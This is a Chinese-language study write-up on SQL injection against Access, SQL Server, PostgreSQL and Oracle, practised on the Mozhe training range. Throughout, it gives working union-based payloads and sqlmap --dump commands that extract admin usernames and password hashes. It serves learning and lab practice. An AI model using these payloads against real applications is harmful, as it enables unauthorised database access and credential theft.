目录
理解各数据库特点,掌握基本的手工注入和工具注入
Access数据库
Access介绍
Access手工注入过程
第一步:判断注入点
第二步:判断数据库类型
第三步:枚举猜表
第四步:猜表中有多少列
第五步:枚举猜字段
第六步:猜数据长度并输出
墨者靶场练习
SQL手工注入漏洞测试(Access数据库)
第一步:判断是否有注入点
第二步:判断数据库类型
第三步:猜表名
第四步:猜显示的列数
(空格)and exists (select * from admin order by 3)
第五步:猜列名
第五步:获取数据
第六步:解密得到密码
SQL serve注入
SQL serve简介
QLServer有三个权限级别:
系统库
墨者靶场
SQL手工注入漏洞测试(Sql Server数据库)
第一步:判断是否有注入点,注入参数类型
第二步:判断数据库类型
第三步:判断回显字段数
第四步:获取数据库名
第五步:获取指定库的所有表
?id=-1 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where type='u'),'3',4
第六步:获取字段
第七步:获取数据
?id=-2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4
第八步:解密,登录
工具注入:
PostgreSQL 注入
postgreSQL简述
墨者靶场SQL手工注入漏洞测试
第一步:测试是否有注入点
第二步:判断回显字段
order by 4
第三步:测试类型
and 1=2 union select null,null,null,null
第四步:获取数据库
第五步: 获取表名
第六步:获取表下字段
第七步:获取数据
and 1=2 union select null,name,password,null from public.reg_users --
第八步:解密登录
工具注入 (sqlmap)
第一步:获取当前数据库
第二步:获取指定数据库下表名
sqlmap -u 'URL' --tables -D"public"
第三步:获取指定表下字段名
第四步:获取数据
ORACLE数据库注入
ORACLE简介
墨者靶场
SQL手工注入漏洞测试(Oracle数据库)
?
第一步:判断是否存在注入点
第二步:判断数据库类型
第三步:判断显示的数列
第四步:联合查询,看报错情况
第五步:获取数据库名
第六步:获取数据库下表名
第七步:获取数据库下所有列
第八步:获取数据
and 1=2 union select USER_NAME,USER_PWD from "sns_users"
第九步:解密登录
sqlmap工具注入:
第一步:获取数据库:
第二步:获取指定数据库下表
第三步:获取数据库下所有字段
第四步:获取数据
sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --dump -C"name,password" -T"reg_users" -D"public"?
pangolin 工具注入
直接使用kali Linux等渗透系统中sqlmap,简单的使用入门_黑色地带(崛起)的博客-CSDN博客
理解各数据库特点,掌握基本的手工注入和工具注入
常见数据库
Access,Mysql,mssql,MongoDB,postgresql,sqlite,oracle,sybase等
msssql:sysobjects
mysql:infomation_schema
access:msysobjects
oracle:sys.user_table
Access数据库
Access介绍
(来源百度百科)
Microsoft Office Access是由微软发布的。它结合了关系数据库管理系统。Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb 。
Access数据库中没有注释符号. /**/ 、 -- 和 # 都没法使用。
Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。
Access数据库不支持错误显示注入,Access数据库不能执行系统命令。
Access搭建的每个网站都是相互独立的。
Access手工注入过程
第一步:判断注入点
'
(报错,则可能存在注入点)
and 1=1
and 1=2
(and 1=1正确,and 1=2 错误,则说明带入查询了,反之and可能被过滤了,换or等其他逻辑词进行判断)
(注:有时候第二排没加空格,就和第一排连在一起,可能会得不到预期结果)
第二步:判断数据库类型
msysobjects 是Access数据库特有的表 ,用它来判断是否是Access数据库
and exsits (select * from msysobjects)>0
(返回为没有数据或没有读取权限,是Access数据库 ,如果不存在,则不是)
第三步:枚举猜表
Access的所有表都在同一个数据库下,不用去判断当前数据库名,并且也不存在 database() 函数。
and exists(select* from admin)
(不报错则说明存在admin表)
第四步:猜表中有多少列
and exists(select*from admin order by 5)
(5的时候正常,6的时候报错,则说明存在5列)
第五步:枚举猜字段
and exists(select admin from admin)
and exists(select user from admin)
and exists(select pass from admin)
不报错则说明存在
第六步:猜数据长度并输出
方法一:
and (select count(*) from information)>10
如果>10正确,>11错误,则有10行数据
方法二:
and 1=2 order by 9 from admin
access数据库中没有 limit来限制行数。
但可以使用top命令,top 1是只显示第一行, top3显示查询出来的前三行数据
and (select top 1 asc(mid(admin,4,1)) from ( select top 3 * from information order by id) order by id desc)>50
在access中,中文可以用asc函数来表示
asc("中") = -10544
chr(-10544) = 中
墨者靶场练习
SQL手工注入漏洞测试(Access数据库)
第一步:判断是否有注入点
加'无法正常显示,可能有注入点
and 1=1
正常显示
and 1=2
无法正确显示
综上说明被带入执行了,即存在注入点,
第二步:判断数据库类型
方法一:手动判断
(空格)and exists (select * from msysobjects)>0
(推荐使用sqlmap扫描)
方法二:利用sqlmap继续扫描
sqlmap -u "URL"
探测出来是Access
第三步:猜表名
(空格)and exists (select * from admin)
返回正常,说明存在admin表
第四步:猜显示的列数
(空格)and exists (select * from admin order by 3)
order by 4 无法正确显示,有3列(但是后面获取数据的时候要4个字段,离谱了,搞半天没发现这个猜列数哪里错了)
第五步:猜列名
(空格)and exists (select username from admin)
(空格)and exists (select passwd from admin)
第五步:获取数据
(空格)union select 1,username,passwd,4 from admin
第六步:解密得到密码
SQL serve注入
SQL serve简介
Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。(来自百度百科)
端口号为1433。数据库后缀名 .mdf,SQL注释符 --
QLServer有三个权限级别:
①sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
select is_srvrolemember('sysadmin')
②db权限:文件管理,数据库操作等权限 users-administrators
select is_srvrolemember('sysadmin')
③public权限:数据库操作 guest-users
select is_srvrolemember('public')
系统库
master数据库
控制SQLserver的所有方面,这个数据库中包含所有的配置信息、用户登陆信息、当前正在服务器运行中的过程的信息
model数据库
是建立所有数据库时的模板,当你建立一个新数据库时,SQL server会把model数据库中的所有对象建立一份拷贝并移到新数据库中,在模板对象被拷贝到新的用户数据库之后,该数据库的所有多余空间都将被页面填满
tempdb数据库
是一个非常特殊的数据库,供所有来访问SQL server的用户使用,这个库用来保存所有的临时表、存储过程和其他SQLserver建立的临时用的东西,例如,排序时要用到tempdb数据库,数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL server重新启动,它都会清空tempdb数据库并重建,永远不要在tempdb数据库建立需要永久保存的表
msdb数据库
是SQLserver中的一个特例,如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库,不同之处是SQLserver拿这个数据库用来做什么,所有的任务调度、报警、操作员都存储在msdb数据库中,该库的另一个功能是用来存储所有备份历史,SQL server agent将会使用这个库
information_schema
是在SQL server2000及更高版本存在的,可以检索数据库中的对象的元数据,与MySQL中的有相同的功能,它是符合ISO标准的,与sys不同,sys是微软自己搞出来的东西
墨者靶场
SQL手工注入漏洞测试(Sql Server数据库)
第一步:判断是否有注入点,注入参数类型
'
(报错可能有注入点)
and 1=1
and 1=2
(and 1=1正确显示,and 1=2 报错,存在注入点)
第二步:判断数据库类型
and (select count(*) from sysobjects)>0
(回显正常为SQL serve(mssql)数据库)
第三步:判断回显字段数
order by 4 (回显正常)
order by 5 (错误)
回显字段数为4
第四步:获取数据库名
and 1=2 union all select 1,2,db_name(),4
?id=-2 union all select '22','33',db_name(1),'55'
?id=-2 union all select '22','33',db_name(2),'55'
?id=-2 union all select '22','33',db_name(3),'55'
?id=-2 union all select '22','33',db_name(4),'55'数据库有:mozhe_db_v2、master、tempdb、model、msdb
第五步:获取指定库的所有表
?id=-1 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where type='u'),'3',4
(xtype和type回显都行)
第六步:获取字段
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1)from sysobjects),'3',4
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),2)from sysobjects),'3',4
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3)from sysobjects),'3',4
第七步:获取数据
?id=-2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4
第八步:解密,登录
72e1bfc3f01b7583
工具注入:
pangolin
填写URL,type,数据库类型-----然后开始
点击data----all-----勾选-----datas-----获得数据
PostgreSQL 注入
postgreSQL简述
和mysql 的注入语法类似的
不同点:
查询当前数据库使用:current_database()函数
在pg_stat_user_tables库查询表名,使用relname关键字
limit使用语法为limit 1 offset 0
墨者靶场SQL手工注入漏洞测试
第一步:测试是否有注入点
'
and 1=1
and 1=2
(加单引号无回显,and 1=1 正常回显,and 1=2 无法正常显示,存在注入点)
第二步:判断回显字段
order by 4
order by 5
(order by 4正常回显,order by 5无法回显,回显字段为4)
第三步:测试类型
and 1=2 union select null,null,null,null
and 1=2 union select null,'null','null',null
(可以测试出为字符型)
第四步:获取数据库
and 1=2 union select null,'null',current_database(),null
第五步: 获取表名
and 1=2 union select null,'null',relname,null from pg_stat_user_tables limit 1 offset 1
第六步:获取表下字段
and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name ='reg_users' limit 1 offset 0
and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 1
and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 2
and 1=2 union select null,'null',column_name,null from information_schema.columns where table_name='reg_users' limit 1 offset 3
'
第七步:获取数据
and 1=2 union select null,name,password,null from public.reg_users --
第八步:解密登录
工具注入 (sqlmap)
第一步:获取当前数据库
sqlmap -u 'URL' --current-db
第二步:获取指定数据库下表名
sqlmap -u 'URL' --tables -D"public"
第三步:获取指定表下字段名
sqlmap -u 'URL' --columns -T "reg_users" -D "public"
第四步:获取数据
ORACLE数据库注入
ORACLE简介
ORACLE8i 之前数据文件的后缀名为.ora,之后为.dbf
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用 dual;
dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,任何用户均可读取
Oracle 保证 dual 里面永远只有一条记录
Oracle 处理表字段的类型比较严谨,查询时可以使用 null 匹配任意类型
||运算符可以将两个或两个以上的字符串连接在一起
注释符:(单行)--(多行)/* */
以分布式数据库为核心的一组软件产品,是最流行的客户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一。比如SilverStream就是基于数据库的一种中间件。ORACLE数据库是世界上使用最为广泛的数据库管理系统,作为一个通用的数据库系统,它具有完整的数据管理功能;作为一个关系数据库,它是一个完备关系的产品;作为分布式数据库它实现了分布式处理功能。但它的所有知识,只要在一种机型上学习了ORACLE知识,便能在各种类型的机器上使用它。(来自百度百科)
墨者靶场
SQL手工注入漏洞测试(Oracle数据库)
第一步:判断是否存在注入点
'
and 1=1
and 1=2
(加单引号,无法正常显示,可能有注入点。and 1=1 正常显示,and 1=2 无法正常显示,存在注入点)
第二步:判断数据库类型
and exists(select *from dual)
and exists(select * from user_tables)
(都回显正常,说明是oracle数据库)
第三步:判断显示的数列
order by 2
order by 3
(order by 2 回显正常,order by 3 回显错误,说明显示2列)
第四步:联合查询,看报错情况
and 1=2 union select 1,2 from dual
and 1=2 union select null,null from dual
and 1=2 union select 1,'null' from dual
and 1=2 union select 'null','null' from dual
(只有'null'才能显示出来)
第五步:获取数据库名
and 1=2 union select 'null',(select instance_name from v$instance) from dual
(获取当前数据库名)
and 1=2 union select 'null',(select owner from all_tables where rownum=1) from dual
第六步:获取数据库下表名
and 1=2 union select 'null',(select table_name from user_tables where rownum=1 and table_name like '%users%') from dual
第七步:获取数据库下所有列
and 1=2 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual
第八步:获取数据
and 1=2 union select USER_NAME,USER_PWD from "sns_users"
(第一个得出来的试了一下不是登录密码)
and 1=2 union select USER_NAME,USER_PWD from "sns_users" where USER_NAME<>'hu'
第九步:解密登录
sqlmap工具注入:
第一步:获取数据库:
sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --current-db
第二步:获取指定数据库下表
sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --tables -D"public"
第三步:获取数据库下所有字段
sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --columns -T"reg_users" -D"public"
第四步:获取数据
sqlmap -u 'http://219.153.49.228:42511/new_list.php?id=1' --dump -C"name,password" -T"reg_users" -D"public"
pangolin 工具注入
表有点多,要等,我等不下去了